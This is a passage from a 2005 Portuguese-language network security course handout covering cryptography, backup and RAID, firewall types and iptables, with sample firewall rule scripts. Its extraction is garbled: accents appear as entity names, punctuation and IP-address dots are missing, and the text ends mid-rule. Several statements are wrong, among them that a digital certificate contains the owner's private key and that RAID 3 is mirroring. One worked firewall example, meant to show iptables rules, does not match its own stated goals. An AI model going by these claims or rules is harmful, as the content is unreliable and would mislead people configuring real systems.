Petroacutepolis 5 de Marccedilo de 2005423 Criptossistemas HibridosEstes sistemas fazem uso do sistema de chave puacuteblica apenas para realizarem o envio e troca dechaves para a transmissatildeo de dados eacute utilizada a criptografia simeacutetrica e a chave enviada anteriormente OCriptossistemas hiacutebridos aproveitam o melhor das duas tecnologias Um exemplo de sistema hiacutebrido eacute oimplementado pelo protocolo ldquoHTTPSrdquo largamente usado em e-commerceExemplo de funcionamento 43) Outros recursos dos criptossistemasAleacutem da confidenciabilidade os criptossistemas podem ser estilizados para a autenticaccedilatildeoverificaccedilatildeo de integridade e reconhecimento1) Autenticaccedilatildeo ndash permite garantir que uma pessoa eacute quem realmente afirma ser2) Integridade ndash garante que os dados natildeo foram alterados durante a transmissatildeo3) Reconhecimento ndash garante que o emissor de dados eacute uma pessoa especiacutefica e que odestinataacuterio realmente recebeu os dados Impede o repuacutedio de informaccedilotildees431)Meacutetodos de seguranccedila que utilizam criptografiaAtualmente a criptografia estaacute sendo largamente utilizada para proteger de vaacuterias formas os dados

que estatildeo em tracircnsito pela rede ou armazenados nos discos oacuteticos e magneacuteticos das maacutequinas Dentre osmeacutetodos atualmente disponiacuteveis podemos destacar4311)Funccedilatildeo de Hash Unidirecional1) Permite verificar a integridade de uma mensagem ou bloco de dados2) Eacute um valor exclusivo a mensagem3) Serve como impressatildeo digital4) A mensagem original natildeo pode ser derivada a partir do HashDentre os algoritmos que fazem uso desta teacutecnica podemos destacar Secure Hash Algorithm ndashProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 19 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20051 (SHA ndash 1) RIPEM MD5 e HAVAL4312) Coacutedigo de Autenticaccedilatildeo de mensagem (MACs)1) Garante a autenticaccedilatildeo e integridade dos dados2) Hash Unidirecional + chave secreta3) Semelhante a criptografia simeacutetrica4) Natildeo se preocupam em manter os dados secretos ou sua integridade4313) Assinaturas DigitaisPermite que o destinataacuterio de uma mensagem digital possa verificar a autenticidade do seuremetente E que a mensagem natildeo foi de forma alguma alterada durante o processo de transferecircncia vistoque uma assinatura digital que tenha sido verificada natildeo pode ser negada ela fornece um elevado niacutevel deconfianccedila no processo de transaccedilotildees eletrocircnicas e autenticaccedilatildeo de documentos digitaisO processo das Assinaturas Digitais se baseia na existecircncia de duas chaves uma puacuteblica e umaprivada Neste caso o remetente codifica a mensagem utilizando a sua chave privada e somente o usuaacuterioque possui a sua chave puacuteblica poderaacute ler a mensagemUma assinatura digital possui as seguintes propriedades1 Garante a Autenticidade2 Natildeo pode ser forjada3 Natildeo eacute reutilizaacutevel4 Natildeo pode ser repudiada5 Vaacutelida certificados6 Pode ser utilizada em assinaturas eletrocircnicas7 Autentica verifica a integridade e faz o reconhecimento de mensagem8 Pode ser utilizada como Hash de um documentoAlgoritmos1) RSA2) Digital Signature Algotithm (DSA)3) Digital Signature Standard (DSS)Usa a chave privada para assinar o documento e o destinataacuterio usa a sua chave puacuteblica paraverificar sua assinatura

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 20 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20054314) Certificados Digitais1) Permite reconhecervalidar certificados emitidos2) Verificaccedilatildeo das chaves por um terceiro de confianccedila ndash autoridades de certificado (CAS)3) Possuem uma taxa de ativaccedilatildeo e validade4) Um certificado digital eacute composto da chave privada e publica do indiviacuteduo mais a assinatura daCA5) Autoridades certificadoras Versign Inc Secure Net Technologia6) Alguns governos como Estados Unidos e Brasil funcionam como certificadores7) Algumas instituiccedilotildees possuem sua proacutepria autoridade para codificaccedilatildeo interna de dados4315) Kerberos1) Serviccedilo de autenticaccedilatildeo (MIT)2) Cifras para codificaccedilatildeo e autenticaccedilatildeo3) Constituiacutedo de um Banco de Dados de Cifra4) Apoacutes o login gera e distribui as chaves de sessatildeo5) Quando o autenticador eacute quebrado todo sistema pode entrar em colapso6) Natildeo eacute indicado para uso entre domiacutenios de seguranccedila44 ) Principais Tipos de Ataques de Codificaccedilatildeo1) Ataque de texto conhecido - Baseia-se na suposiccedilatildeo de uma vasta quantidade de textos cifrados edas mensagens originais a que a funccedilatildeo do especialista criptoanalista eacute descobrir as chavesutilizadas2) Ataque adaptativo do texto escolhido (adaptative ndash choosen ndash plaintext) ndash Neste segundo casoele submete pequenos conjuntos de dados obteacutem o resultado analisa fornece um novo conjunto eassim sucessivamente ateacute que seja capaz de deduzir as chaves3) Ataque do texto cifrado escolhido (choosen ndash cyphertext) ndash o especialista possui uma vastagama de mensagem e os equivalentes dados cifrados mas eacute capaz de produzir uma mensagemcriptografada especiacutefica para ser decifrada e obter o resultado produzidoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 21 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20055) BackupEacute atraveacutes do processo de backup que podemos garantir a seguranccedila de vaacuterios tipos de dados Esteprocesso consiste em realizar uma coacutepia total ou parcial de forma on-line ou off-line dos dados armazenadosnas estaccedilotildees de trabalho eou nos servidores de um determinado ambienteContudo dependendo as caracteriacutesticas do ambiente e das necessidades presentes do mesmo o

processo de backup pode variar largamente deste modo se faz necessaacuterio o uso de criteacuterios paradeterminar a melhor forma para sua realizaccedilatildeo Deste os criteacuterios que podem influenciar o processo debackup satildeo1 A quantidade de dados a serem protegidos2 A frequumlecircncia com que os dados devem ser copiados3 Tempo de realizaccedilatildeo do backup e do restore dos dados4 A confidencialidade fornecida pelo processo5 O custo do processo e o valor das informaccedilotildees6 O prejuiacutezo gerado pela perda parcial ou total dos dados51) Meios de armazenamentoDefinida as necessidades baacutesicas a serem atendidas devemos selecionar um do tipos dearmazenamento que podem ser on-line Proacuteximos e off-lineAs miacutedias de armazenamento on-line consiste em discos riacutegidos ou arrays de discos Estas miacutediasfornecem uma disponibilidade em tempo real e satildeo normalmente utilizados para fornecer uma formaaltrnativa de armazenamento Estas miacutedias natildeo substituem os backups offlineO armazenamento proacuteximo eacute formado por ldquoJukeboxesrdquo oacuteticos e coacutepias locais que estatildeorapidamente acessiacuteveis normalmente fazem uso de robos para gerenciarem as miacutedias fornecendo umacesso raacutepido aos dados quando o serviccedilo on-line natildeo estaacute disponiacutevelJaacute o armazenamento off-line consiste no arquivamento de miacutedias fora da rede de dados em um localseguro e protegido contra roubo cataacutestrofes naturais e outros ameccedilas Sempre que possiacutevel as miacutediasdevem ser armazenadas em local geograacuteficamente diferente e fora das instalaccedilotildees comerciais da empresaPara a realizaccedilatildeo deste tipos de backup podem ser utilizadas trecircs tipos de miacutedias diferentesfitasdiscos magneacuteticos armazenamento oacutetico e arrays de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 22 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005As fitas magneacuteticas satildeo as miacutedias mais comuns mais baratas utilizadas nos backups off-line maspor outro lado satildeo as mais lentas e que ocupam um grande espaccedilo Seus principais tipos satildeo 8mmTravan DLT DAT e MagstarO armazenamento oacutetico eacute muito popular em ambientes onde a velocidade e a confiabilidade satildeo asmaiores preocupaccedilotildees estes ambientes fazem uso de servidores com jukboxes oacuteticos de altadisponibilidade que satildeo soluccedilotildees caras porem muito eficientesOs arrays de discos ou simplesmente RAIDs (Redundant Array of Independet Disks) satildeo um

subsistema de discos riacutegidos que melhoram o desempenho e a toleracircncia a falhas uma vez que os dadossatildeo gravados em mais de um disco ao mesmo tempo Estas soluccedilotildees podem ser tanto implementadas emsoftware quanto em hardware Neste caso quando uma unidade de disco falha o administrador do sistemapode substitui-la em alguns casos sem parar o funcionamento do servidorOs principais tipos de RAID satildeo_ RAID 0 este niacutevel realiza um ldquojoinrdquo dos discos ou seja ele combina todos osdiscos em uma uacutenica unidade loacutegica uacutetil quando desejamos aumentar acapacidade de armazenamento de dados_ RAID 1 realiza o espelhamento de um disco em um outro nesta soluccedilatildeo umdos discos fica inativo apenas recebendo os dados do disco mestre ateacute que elefalhe Este niacutevel oferece uma boa toleracircncia a falhas visto que ao ocorrer afalha de um disco os usuaacuterios satildeo automaticamente redirecionados para oantigo disco escravo_ RAID 3 tambeacutem implementa um espelhamento soacute que neste caso trecircs ou maisunidades de disco satildeo espelhadas em uma outra este niacutevel tambeacutem fornecetoleracircncia a falhas uma vez que grava os bits de paridade em uma unidadededicada e permite que os discos trabalhem em paralelo fornecendo assim altoniacutevel de desempenho_ RAID 5 esta faz uso de trecircs unidades em duas satildeo armazenados os dados ena terceira os bits de paridade sendo esta eacute a soluccedilatildeo mais utilizada_ RAID 10 eacute a combinaccedilatildeo do RAID 1 e 0 ou seja espelhamento e intercalaccedilatildeoentre unidade de discoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 23 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A soluccedilatildeo de RAID fornece um melhor desempenho e toleracircncia a falhas mas de forma algumasubstituir o processo de backup off-line Vale lembrar que dois ou mais discos podem falhar ao mesmotempo perdendo o acesso total aos dados armazenados no arrayOutra soluccedilatildeo de proteccedilatildeo aos dados eacute o HSM (Hierarchical Storage Management) que eacute umsistema automatizado para o gerenciamento de dados e espaccedilo em disco muito utilizado em mainframesEsta soluccedilatildeo monitora a capacidade das unidades e move os dados para as miacutedias de armazenamentoproacuteximo ou offline mais lentasO HSM pode mover os dados segundo sua idade frequumlecircncia de uso ou baseado em outros criteacuteriospermitindo deste modo uma migraccedilatildeo de dados automaacutetica Esta soluccedilatildeo eacute relativamente cara e difiacutecil de

ser implementadaJaacute as SANS (Storage Area Networks) ligam diretamente os servidores de dados as unidade dearmazenamento graccedilas ao uso de um canal de fibra (fiberchannel) permite uma conexatildeo de alta velocidadee implementa uma subrede de armazenamento com isto libera a rede de produccedilatildeo do peso do backup dedados e economiza largura de banda Aleacutem disto oferecem alta velocidade confiabilidade e gerenciamentocentralizadoPor outro lado as NAS (Network Attached Storage) funcionam de forma semelhante aos servidoresde arquivos visto que estatildeo conectados diretamente a rede ethernet e possuem sistemas operacionaisembutidos nos equipamentos Esta estrutura eacute uma alternativa a inclusatildeo de unidades de dados nosservidores Para garantir a seguranccedila dos dados estes equipamentos implementas um dos niacuteveis de RAIDestudados anteriormente mas backups de grades volumes de dados podem afetar a velocidade da redeEsta soluccedilatildeo eacute relativamente barata simples e possui grande compatibilidade entre fornecedores52 ) Tipos de backup quanto ao periacuteodo de execuccedilatildeo e volume de dadosDependendo de sua periodicidade o processo de backup pode ser nomeado como_ Backup Completo realiza uma coacutepia de todos os dados para a miacutedia natildeo importandoo conteuacutedo do uacuteltimo backup Este tipo de backup normalmente possui periodicidadesemanal_ Backup Incremental salva os arquivos que foram alterados desde o uacuteltimo backupNeste processo o novo arquivo eacute armazenado na miacutedia e o arquivo original natildeo eacuteremovido da miacutedia No processo de restauraccedilatildeo devemos ter o uacuteltimo backup completoe dos os backups incrementais desde entatildeo Este tipo de backup possui periodicidadeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 24 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005diaacuteria ou menor_ Backup Delta Soacute faz a coacutepia dos dados reais que foram modificados nos arquivos eacuteum processo de backup mais raacutepido e que ocupa menos espaccedilo nas miacutedias de backupcontudo o processo de restauraccedilatildeo eacute mais lento e complexo Tambeacutem possuiperiodicidade diaacuteria ou menor_ Backup Diferencial Copia todos os arquivos que foram alterados desde o uacuteltimo

backup completo por este motivo ocupa mais espaccedilo nas miacutedias de backup e maislento de ser gerado contudo eacute mais faacutecil de recupera-lo sua execuccedilatildeopreferencialmente deve ser diaacuteria ou em intervalo menor Para restaurar os dados apartir deste tipo de backup deve-se ter em matildeos apenas o uacuteltimo backup completo e ouacuteltimo backup diferencialProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 25 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20056) FirewallVaacuterias pesquisas mostraram que a ldquoInternetrdquo eacute o principal ponto utilizado para realizar invasotildees Em2002 segundo uma pesquisa feita pela moacutedulo 43 das empresas sofreram algum tipo de ataque ouinvasatildeo Em 2003 esta valor subiu para 77 E os hackers brasileiros satildeo internacional considerados comoos melhores do mundoOutro fator importante eacute que ldquo quanto mais tempo ficamos conectados agrave internet maiores satildeo aschances de sermos invadidos ou infectados por malwares rdquo Isto tudo pois o Ipv4 versatildeo atualmente emuso da pilha de protocolos TCPIP natildeo foi projetado para assegurar a integridade das informaccedilotildees e realizaro controle de acesso apropriado Deste modo a forma preferida de se violar uma rede tem sido o uso depequenas falhas na implementaccedilatildeo de serviccedilos e protocolos baseados no TCPIP61) O papel do Firewall no contexto atual das redes de computadoresA principal funccedilatildeo de um firewall eacute proteger os dados da rede interna aquela que natildeo estaacuteconectada a internet de ataques vindos da rede externa normalmente a internet Ou seja tem por objetivoimpedir acessos loacutegicos natildeo autorizados a um determinado ambienteNeste modelo o firewall geralmente eacute a uacutenica maacutequina diretamente conectada a rede externa mascada noacute da rede pode e deve ter seu proacuteprio firewall ativo mas neste caso sua funcionalidade estaacute restrita aproteccedilatildeo local incluindo possiacuteveis infecccedilotildees e proliferaccedilotildees de malwares na rede internaOutro uso frequumlente dos firewalls eacute ser utilizado para filtrar quem pode acessar maacutequinas da redeinterna a partir da internet este tipo de filtragem normalmente eacute baseada no endereccedilo IP a origem daconexatildeo e em alguns casos em seu Mac Adress62) HistoacutericoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 26 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

na maacutequina ser rejeitado ou outras accedilotildees poderatildeo ser realizadas a estas accedilotildees damos o nome de alvo daregra ou fluxo Os principais alvos implementados pelo iptables satildeoACCEPT permite a entrada ou a saiacuteda ou o forward do pacoteDROP descarta o pacote sem comunicar a origem que o mesmo foi rejeitado idealpara ocultar a existecircncia do firewallREJECT descarta o pacote informando a origem que ele foi rejeitado pelo destinoLOG registra o pacote em um arquivo de log que pode ser especificado atraveacutes dosniacuteveis de log do sistema mas por default as mensagens satildeo enviadas para o arquivoldquovarlogmessagesrdquoSNAT altera o endereccedilo de origem do pacote que atendeu as caracteriacutesticasespecificadasDNAT altera o endereccedilo de destino do pacoteREDIRECT redireciona o pacote para uma porta diferenteProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 31 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Exemplos de scripts de Firewall(a) Firewall para bloquear todo o fluxo de dados soacute liberando o fluxo na interface lo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT DROPiptables -P FORWARD DROP liberando a interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT(b) Firewall para liberar o acesso no servidor web aos protocolos http e https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -j ACCEPT(c) Firewall para liberar o acesso serviccedilo http para acesso externo ( eth1) e acesso pela intranet (eth0) naporta 8080

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 32 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005 definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP definindo as regras de filtragem ao HTTP e HTTPSiptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT(d) Firewall para um servidor que hospeda os serviccedilos http (80) https (443) imap (143) pop3 (110) smtp(25) ftp (21) ssh (22) De tal modo que todos os serviccedilos possam ser acessados pela intranet (eth1) e osuacutenicos serviccedilos que podem ser acessados pela internet (eth0) satildeo o http e o https definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando acesso pela internet (eth0)iptables -A INPUT -p tcp ndashdport 80 -i eth0 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth0 -j ACCEPT liberando acesso pela internet (eth1)iptables -A INPUT -p tcp ndashdport 80 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 443 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 143 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 110 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 25 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 21 -i eth1 -j ACCEPTiptables -A INPUT -p tcp ndashdport 22 -i eth1 -j ACCEPTProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 33 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005(e) Firewall para um servidor que_ proiba que qualquer pacote oriundo de nossa LAN (192168254024) possa ser direcionado aosite ldquowwwsexocombrrdquo_ proiba que qualquer pacote oriundo do host ldquowwwcrackercomrdquo possa penetrar na nossa rede

_ permitir a entrada de pacotes oriundos do site ldquowwwcyberootsorgbrrdquo na nossa rede_ todos os pacotes oriundos da interface ldquoeth1rdquo do firewall devem ser redirecionados para ocomputador 192168254254_ todos os pacotes que desejam sair (eth0) da rede local para outra rede tenham seus endereccedilosde origem alterados para 1461643290_ todos os pacotes que tentam entrar na rede por uma interface diferente da ldquoeth0rdquo devem serdescartados o mesmo deve ocorrer com qualquer pacote que tente sair por uma interfacediferente da ldquoeth2rdquo_ descarte todos os pacotes oriundos do ip 20025596171 e destinado ao IP 1921682547_ todos os pacotes destinados a porta 23 do nosso firewall sejam registrados e posteriormentedescartados poliacutetica padratildeoiptables -P INPUT DROPiptables -P OUTPUT ACCEPTiptables -P FORWARD DROP liberando o traacutefego na interface loiptables -A INPUT -i lo -j ACCEPTiptables -A OUTPUT -o lo -j ACCEPT pacotes que entram no firewalliptables -A INPUT -p tcp - -dport 23 -j LOG ldquo [firewall] acesso ao serviccedilo de telnetrdquoiptables -A INPUT -p tcp - -dport 23 -j DROP regras de forwardiptables -A FORWARD -s 192158254024 -d wwwsexocombr -j DROPiptables -A FORWARD -d 192158254024 -s wwwcyberootsorgbr -j ACCEPTiptables -A FORWARD -s 20025596171 -d 1921682547 -j DROPiptables -A FORWARD -i eth1 -j DROPiptables -A FORWARD -o eth0 -j DROP regras de natiptables -t nat -A PREROUTING -i eth1 -j DNAT 19216825415iptables -t nat -A POSTROUTING -o eth1 -j SNAT 1921682541Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 34 de 71

Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005646) Alguns Fluxos de NATPara acessos agrave internet atraveacutes de uma conexatildeo discada ou banda larga que natildeo fornece endereccedilofixo podemos utilizar a regra abaixoiptables -t nat -A POSTROUTING -o ppp -j MASQUERADEJaacute para conexatildeo agrave internet atraveacutes de um endereccedilo IP fixo e conhecido podemos utilizar uma regracomo a que estaacute abaixoiptables -t nat -A POSTROUTING -s 10100024 -o eth0 -j SNAT - -to 1461643267Outra regra muito comum eacute aquela usada para redirecionar uma conexatildeo vinda da internet para a DMZ comomostra a figura abaixoiptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j DNAT - -to 101001647) Regras e configuraccedilotildees uacuteteisa) Habilitando o forward no kernel do LinuxPara permitir que o iptables instalado em uma distribuiccedilatildeo Linux faccedila forward de pacotes estafuncionalidade deve estar ativa no kernell do sistema para tal podemos utilizar a seguinte linha de comandoecho ldquo1rdquo gt procsysnetipv4ip_forwardProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 35 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Caso haja a necessidade de desabiluitar esta funcionalidade basta tocar o valor 1 para 0 docomando a cima ou seja echo ldquo0rdquo gt procsysnetipv4ip_forwardb) Qualquer pacote cuja origem eacute o host 10031 deveraacute ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 10031 -o eth0 -j SNAT - -to 192112233c) Qualquer pacote cuja origem eacute a rede 100308 deve ter seu endereccedilo de origem alterado para192112233iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233d) Qualquer pacote cuja origem eacute a rede 100308 que sai pela interface eth0 deve ter seu endereccedilo deorigem alterado para qualquer um do intervalo 192112233-192112266iptables -t nat -A POSTROUTING -s 100308 -o eth0 -j SNAT - -to 192112233-192112266e) Qualquer pacote que venha do host 10031 e entre na maacutequina pela interface eth0 deve serredirecionado para o endereccedilo 192112233iptables -t nat -A PREROUTING -s 10031 -i eth0 -j DNAT - -to 192112233f) Todos os pacotes que entrem pela interface eth0 devem ser redirecionados para um dos endereccedilos dointervalo 192112210 ateacute 192112233

iptables -t nat -A PREROUTING -i eth0 -j DNAT - -to 192112210-192112233g) Todos os pacotes que entram pela interface eth2 e satildeo destinados a porta 22 deve ser redirecionadospara o host 19211221iptables -t nat -A PREROUTING -i eth2 -p tcp - -dport 22 -j DNAT - -to 19211221h) Criando um proxy transparente iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 80 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 443 -j REDIRECT - -to-port 3128iptables -t nat -A PREROUTING -i eth0 -p tcp - -dport 21 -j REDIRECT - -to-port 3128Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 36 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005648)Firewall a ser utilizando em um bastiatildeo definindo as regras padratildeoiptables -P INPUT DROPiptables -P OUTUP ACCEPTiptables -P FORARD DROP liberado o loopbackiptables -A INPUT -i lo -j ACCEPT filtando os pacotesiptables -A INPUT -p tcp - -dport 22 -j ACCEPTiptables -A FORWARD -d 10100024 -j ACCEPTiptables -t nat -A PREROUTING -p tcp - -dport 80 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 443 -j DNAT - -to 101001iptables -t nat -A PREROUTING -p tcp - -dport 21 -j DNAT - -to 101002iptables -t nat -A PREROUTING -p tcp - -dport 110 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 995 -j DNAT - -to 101003iptables -t nat -A PREROUTING -p tcp - -dport 25 -j DNAT - -to 101003iptables -t nat -A PREROUTING 